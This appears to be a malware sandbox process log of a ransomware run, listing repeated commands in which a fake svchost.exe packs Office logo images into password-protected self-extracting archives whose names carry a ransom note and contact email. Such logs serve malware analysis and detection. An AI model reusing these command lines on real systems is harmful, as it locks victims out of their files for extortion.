                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-white_scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-80.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.scale-80.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-140.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-140.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-180.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-180.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
